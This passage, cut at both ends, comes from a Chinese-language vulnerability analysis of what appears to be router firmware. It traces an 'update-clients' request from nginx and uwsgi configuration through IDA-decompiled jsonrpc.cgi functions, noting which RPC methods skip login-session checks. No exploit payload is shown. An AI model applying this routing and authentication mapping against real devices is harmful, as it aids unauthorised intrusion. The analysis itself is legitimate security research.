inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_buffering</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">off</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_modifier1</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">9</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_pass</span> jsonrpc;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_read_timeout</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">3600</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_send_timeout</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">3600</span>;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uwsgi</code>的定义中找到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc</code>的定义，可以看到它对应的处理程序是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/www/cgi-bin/jsonrpc.cgi</code>：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">[uwsgi]</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">plugins</span> = cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">workers</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">master</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">uid</span> = www-data<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">gid</span> = www-data<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">socket</span>=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">127.0</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0.1</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">9000</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">buffer-size</span>=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4096</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi</span> = /jsonrpc=/www/cgi-bin/jsonrpc.cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-allowed-ext</span> = .cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-allowed-ext</span> = .pl<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-timeout</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">3600</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ignore-sigpipe</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc.cgi</code>，来看上面的数据包所引发的数据流是怎么传输到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">把<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc.cgi</code>拖到IDA里面，可以看到它会先获取环境变量，然后读取<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post</code>数据，然后调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">parse_json_content</code>函数去解析<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post</code>过去的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">json</code>数据，最后调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">handle_rpc</code>去处理。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **a2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **a3)</span><br/></span>{<br/>  content_length_ptr = (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;CONTENT_LENGTH&#34;</span>);<br/>  content_type_ptr = getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;CONTENT_TYPE&#34;</span>);<br/>  http_cookie_ptr = getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;HTTP_COOKIE&#34;</span>);<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( content_length_ptr )<br/>    content_length_ptr = atoi((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *)content_length_ptr);<br/>  content_ptr = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">malloc</span>(content_length_ptr + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/>  content_ptr[fread(content_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1u</span>, content_length_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">stdin</span>)] = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>  malloc_ctx(&amp;json_ctx);<br/>  parse_json_content(json_ctx, content_ptr);<br/>  ...<br/>    handle_rpc(json_ctx, &amp;ret_str);<br/>  }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">handle_rpc</code>函数，看到它除了输出些日志以外，调用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post_rpc_request</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">handle_rpc</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(ctx *json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **ret_str)</span><br/></span>{<br/>  ...<br/>  debug(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;[%d|%s] - begin.&#34;</span>, pid, method);<br/>  ...<br/>    ret = post_rpc_request(json_ctx, (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *)&amp;ptr);<br/>    ...<br/>    info(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;[%d|%s] - end. elapsed=%lu.%06lu&#34;</span>, pid, method, time.tv_sec, time.tv_usec);<br/>  }<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post_rpc_request</code>是主要的流程分发函数，可以看到用户相关的请求是直接调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">handle_user_rpc_request</code>函数，而其余的则都会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">check_login_status</code>函数对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>进行校验，然后根据<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">json</code>请求当中的不同的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">method</code>调用不同的处理函数。对于漏洞请求的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>，处理的函数是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">handle_action_rpc_request</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">post_rpc_request</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(ctx *json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *ret_str)</span><br/></span>{<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *method; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// r4</span><br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> ret; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// r0 MAPDST</span><br/>  method = json_ctx-&gt;method;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !method )<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(json_ctx-&gt;method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;login&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;logout&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;u2d_check_password&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;u2d_change_password&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;change_password&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;add_users&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;set_users&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;del_users&#34;</span>) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> handle_user_rpc_request(json_ctx, ret_str);<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;get_downloadstatus&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;get_wifi_button_state&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;check_config&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;get_model_tree&#34;</span>)<br/>    || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;get_timezones&#34;</span>) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( check_login_status(json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    ret = handle_status_rpc_request((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)json_ctx, ret_str);<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;get_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4u</span>) || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;u2d_get_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">8u</span>) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( check_login_status(json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    ret = handle_get_rpc_request(json_ctx, ret_str);<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;set_bulk&#34;</span>) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( check_login_status(json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    ret = handle_set_bulk_rpc_request(json_ctx, ret_str);<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;set_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4u</span>) || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 